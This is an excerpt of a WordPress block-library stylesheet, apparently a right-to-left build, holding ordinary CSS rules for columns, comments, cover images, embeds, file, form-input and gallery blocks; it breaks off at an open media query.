:where(.wp-block-calendar table:not(.has-background) th){
  background:#ddd;
}

.wp-block-categories{
  box-sizing:border-box;
}
.wp-block-categories.alignleft{
  margin-right:2em;
}
.wp-block-categories.alignright{
  margin-left:2em;
}
.wp-block-categories.wp-block-categories-dropdown.aligncenter{
  text-align:center;
}

.wp-block-code{
  box-sizing:border-box;
}
.wp-block-code code{
  display:block;
  font-family:inherit;
  overflow-wrap:break-word;
  white-space:pre-wrap;
}

.wp-block-columns{
  align-items:normal !important;
  box-sizing:border-box;
  display:flex;
  flex-wrap:wrap !important;
}
@media (min-width:782px){
  .wp-block-columns{
    flex-wrap:nowrap !important;
  }
}
.wp-block-columns.are-vertically-aligned-top{
  align-items:flex-start;
}
.wp-block-columns.are-vertically-aligned-center{
  align-items:center;
}
.wp-block-columns.are-vertically-aligned-bottom{
  align-items:flex-end;
}
@media (max-width:781px){
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{
    flex-basis:100% !important;
  }
}
@media (min-width:782px){
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{
    flex-basis:0;
    flex-grow:1;
  }
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{
    flex-grow:0;
  }
}
.wp-block-columns.is-not-stacked-on-mobile{
  flex-wrap:nowrap !important;
}
.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{
  flex-basis:0;
  flex-grow:1;
}
.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{
  flex-grow:0;
}

:where(.wp-block-columns){
  margin-bottom:1.75em;
}

:where(.wp-block-columns.has-background){
  padding:1.25em 2.375em;
}

.wp-block-column{
  flex-grow:1;
  min-width:0;
  overflow-wrap:break-word;
  word-break:break-word;
}
.wp-block-column.is-vertically-aligned-top{
  align-self:flex-start;
}
.wp-block-column.is-vertically-aligned-center{
  align-self:center;
}
.wp-block-column.is-vertically-aligned-bottom{
  align-self:flex-end;
}
.wp-block-column.is-vertically-aligned-stretch{
  align-self:stretch;
}
.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{
  width:100%;
}
.wp-block-post-comments{
  box-sizing:border-box;
}
.wp-block-post-comments .alignleft{
  float:right;
}
.wp-block-post-comments .alignright{
  float:left;
}
.wp-block-post-comments .navigation:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-post-comments .commentlist{
  clear:both;
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-post-comments .commentlist .comment{
  min-height:2.25em;
  padding-right:3.25em;
}
.wp-block-post-comments .commentlist .comment p{
  font-size:1em;
  line-height:1.8;
  margin:1em 0;
}
.wp-block-post-comments .commentlist .children{
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-post-comments .comment-author{
  line-height:1.5;
}
.wp-block-post-comments .comment-author .avatar{
  border-radius:1.5em;
  display:block;
  float:right;
  height:2.5em;
  margin-left:.75em;
  margin-top:.5em;
  width:2.5em;
}
.wp-block-post-comments .comment-author cite{
  font-style:normal;
}
.wp-block-post-comments .comment-meta{
  font-size:.875em;
  line-height:1.5;
}
.wp-block-post-comments .comment-meta b{
  font-weight:400;
}
.wp-block-post-comments .comment-meta .comment-awaiting-moderation{
  display:block;
  margin-bottom:1em;
  margin-top:1em;
}
.wp-block-post-comments .comment-body .commentmetadata{
  font-size:.875em;
}
.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-post-comments .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-post-comments .comment-reply-title{
  margin-bottom:0;
}
.wp-block-post-comments .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-right:.5em;
}
.wp-block-post-comments .reply{
  font-size:.875em;
  margin-bottom:1.4em;
}
.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{
  padding:calc(.667em + 2px);
}

:where(.wp-block-post-comments input[type=submit]){
  border:none;
}

.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{
  margin-bottom:.5em;
  margin-right:.5em;
}
.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{
  margin-right:0;
}
.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-comments-pagination.aligncenter{
  justify-content:center;
}

.wp-block-comment-template{
  box-sizing:border-box;
  list-style:none;
  margin-bottom:0;
  max-width:100%;
  padding:0;
}
.wp-block-comment-template li{
  clear:both;
}
.wp-block-comment-template ol{
  list-style:none;
  margin-bottom:0;
  max-width:100%;
  padding-right:2rem;
}
.wp-block-comment-template.alignleft{
  float:right;
}
.wp-block-comment-template.aligncenter{
  margin-left:auto;
  margin-right:auto;
  width:-moz-fit-content;
  width:fit-content;
}
.wp-block-comment-template.alignright{
  float:left;
}

.wp-block-cover,.wp-block-cover-image{
  align-items:center;
  background-position:50%;
  box-sizing:border-box; direction:ltr;
  display:flex;
  justify-content:center;
  min-height:430px;
  overflow:hidden;
  overflow:clip;
  padding:1em;
  position:relative;
}
.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){
  background-color:#000;
}
.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{
  background-color:initial;
}
.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{
  background-color:inherit;
  content:"";
}
.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{
  bottom:0;
  left:0;
  opacity:.5;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{
  opacity:.1;
}
.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{
  opacity:.2;
}
.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{
  opacity:.3;
}
.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{
  opacity:.4;
}
.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{
  opacity:.5;
}
.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{
  opacity:.6;
}
.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{
  opacity:.7;
}
.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{
  opacity:.8;
}
.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{
  opacity:.9;
}
.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{
  opacity:1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{
  opacity:0;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{
  opacity:.1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{
  opacity:.2;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{
  opacity:.3;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{
  opacity:.4;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{
  opacity:.5;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{
  opacity:.6;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{
  opacity:.7;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{
  opacity:.8;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{
  opacity:.9;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{
  opacity:1;
}
.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-cover-image:after,.wp-block-cover:after{
  content:"";
  display:block;
  font-size:0;
  min-height:inherit;
}
@supports (position:sticky){
  .wp-block-cover-image:after,.wp-block-cover:after{
    content:none;
  }
}
.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  display:flex;
}
.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{
  color:inherit; direction:rtl;
  width:100%;
  z-index:1;
}
.wp-block-cover h1:where(:not(.has-text-color)),.wp-block-cover h2:where(:not(.has-text-color)),.wp-block-cover h3:where(:not(.has-text-color)),.wp-block-cover h4:where(:not(.has-text-color)),.wp-block-cover h5:where(:not(.has-text-color)),.wp-block-cover h6:where(:not(.has-text-color)),.wp-block-cover p:where(:not(.has-text-color)),.wp-block-cover-image h1:where(:not(.has-text-color)),.wp-block-cover-image h2:where(:not(.has-text-color)),.wp-block-cover-image h3:where(:not(.has-text-color)),.wp-block-cover-image h4:where(:not(.has-text-color)),.wp-block-cover-image h5:where(:not(.has-text-color)),.wp-block-cover-image h6:where(:not(.has-text-color)),.wp-block-cover-image p:where(:not(.has-text-color)){
  color:inherit;
}
.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{
  align-items:flex-start;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{
  align-items:flex-start;
  justify-content:center;
}
.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{
  align-items:flex-start;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{
  align-items:center;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{
  align-items:center;
  justify-content:center;
}
.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{
  align-items:center;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{
  align-items:flex-end;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{
  align-items:flex-end;
  justify-content:center;
}
.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{
  align-items:flex-end;
  justify-content:flex-end;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{
  margin:0;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{
  margin:0;
  width:auto;
}
.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{
  border:none;
  bottom:0;
  box-shadow:none;
  height:100%;
  left:0;
  margin:0;
  max-height:none;
  max-width:none;
  object-fit:cover;
  outline:none;
  padding:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
  background-attachment:fixed;
  background-repeat:no-repeat;
  background-size:cover;
}
@supports (-webkit-touch-callout:inherit){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
@media (prefers-reduced-motion:reduce){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{
  background-repeat:repeat;
  background-size:auto;
}

.wp-block-cover__image-background,.wp-block-cover__video-background{
  z-index:0;
}
.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{
  color:#fff;
}

.wp-block-cover-image .wp-block-cover.has-left-content{
  justify-content:flex-start;
}
.wp-block-cover-image .wp-block-cover.has-right-content{
  justify-content:flex-end;
}

.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{
  margin-right:0;
  text-align:right;
}

.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{
  margin-left:0;
  text-align:left;
}

.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{
  font-size:2em;
  line-height:1.25;
  margin-bottom:0;
  max-width:840px;
  padding:.44em;
  text-align:center;
  z-index:1;
}

:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){
  color:#fff;
}

:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){
  color:#000;
}

.wp-block-details{
  box-sizing:border-box;
  overflow:hidden;
}

.wp-block-details summary{
  cursor:pointer;
}

.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{
  max-width:360px;
  width:100%;
}
.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{
  min-width:280px;
}

.wp-block-cover .wp-block-embed{
  min-height:240px;
  min-width:320px;
}

.wp-block-embed{
  overflow-wrap:break-word;
}
.wp-block-embed figcaption{
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-embed iframe{
  max-width:100%;
}

.wp-block-embed__wrapper{
  position:relative;
}

.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{
  content:"";
  display:block;
  padding-top:50%;
}
.wp-embed-responsive .wp-has-aspect-ratio iframe{
  bottom:0;
  height:100%;
  left:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{
  padding-top:42.85%;
}
.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{
  padding-top:50%;
}
.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{
  padding-top:56.25%;
}
.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{
  padding-top:75%;
}
.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{
  padding-top:100%;
}
.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{
  padding-top:177.77%;
}
.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{
  padding-top:200%;
}

.wp-block-file{
  box-sizing:border-box;
}
.wp-block-file:not(.wp-element-button){
  font-size:.8em;
}
.wp-block-file.aligncenter{
  text-align:center;
}
.wp-block-file.alignright{
  text-align:right;
}
.wp-block-file *+.wp-block-file__button{
  margin-right:.75em;
}

:where(.wp-block-file){
  margin-bottom:1.5em;
}

.wp-block-file__embed{
  margin-bottom:1em;
}

:where(.wp-block-file__button){
  border-radius:2em;
  display:inline-block;
  padding:.5em 1em;
}
:where(.wp-block-file__button):is(a):active,:where(.wp-block-file__button):is(a):focus,:where(.wp-block-file__button):is(a):hover,:where(.wp-block-file__button):is(a):visited{
  box-shadow:none;
  color:#fff;
  opacity:.85;
  text-decoration:none;
}

.wp-block-form-input__label{
  display:flex;
  flex-direction:column;
  gap:.25em;
  margin-bottom:.5em;
  width:100%;
}
.wp-block-form-input__label.is-label-inline{
  align-items:center;
  flex-direction:row;
  gap:.5em;
}
.wp-block-form-input__label.is-label-inline .wp-block-form-input__label-content{
  margin-bottom:.5em;
}
.wp-block-form-input__label:has(input[type=checkbox]){
  flex-direction:row-reverse;
  width:-moz-fit-content;
  width:fit-content;
}

.wp-block-form-input__label-content{
  width:-moz-fit-content;
  width:fit-content;
}

.wp-block-form-input__input{
  font-size:1em;
  margin-bottom:.5em;
  padding:0 .5em;
}
.wp-block-form-input__input[type=date],.wp-block-form-input__input[type=datetime-local],.wp-block-form-input__input[type=datetime],.wp-block-form-input__input[type=email],.wp-block-form-input__input[type=month],.wp-block-form-input__input[type=number],.wp-block-form-input__input[type=password],.wp-block-form-input__input[type=search],.wp-block-form-input__input[type=tel],.wp-block-form-input__input[type=text],.wp-block-form-input__input[type=time],.wp-block-form-input__input[type=url],.wp-block-form-input__input[type=week]{
  border:1px solid;
  line-height:2;
  min-height:2em;
}

textarea.wp-block-form-input__input{
  min-height:10em;
}

.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){
  display:flex;
  flex-wrap:wrap;
  list-style-type:none;
  margin:0;
  padding:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:center;
  margin:0 0 1em 1em;
  position:relative;
  width:calc(50% - 1em);
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){
  margin-left:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{
  align-items:flex-end;
  display:flex;
  height:100%;
  justify-content:flex-start;
  margin:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{
  display:block;
  height:auto;
  max-width:100%;
  width:auto;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{
  background:linear-gradient(0deg, #000000b3, #0000004d 70%, #0000);
  bottom:0;
  box-sizing:border-box;
  color:#fff;
  font-size:.8em;
  margin:0;
  max-height:100%;
  overflow:auto;
  padding:3em .77em .7em;
  position:absolute;
  text-align:center;
  width:100%;
  z-index:2;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{
  display:inline;
}
.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{
  flex-grow:1;
}
.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{
  flex:1;
  height:100%;
  object-fit:cover;
  width:100%;
}
.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{
  margin-left:0;
  width:100%;
}
@media (min-width:600px){
